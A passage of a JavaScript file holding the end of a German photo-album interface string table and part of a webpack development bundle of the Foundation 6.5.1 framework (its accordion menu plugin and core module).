erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n 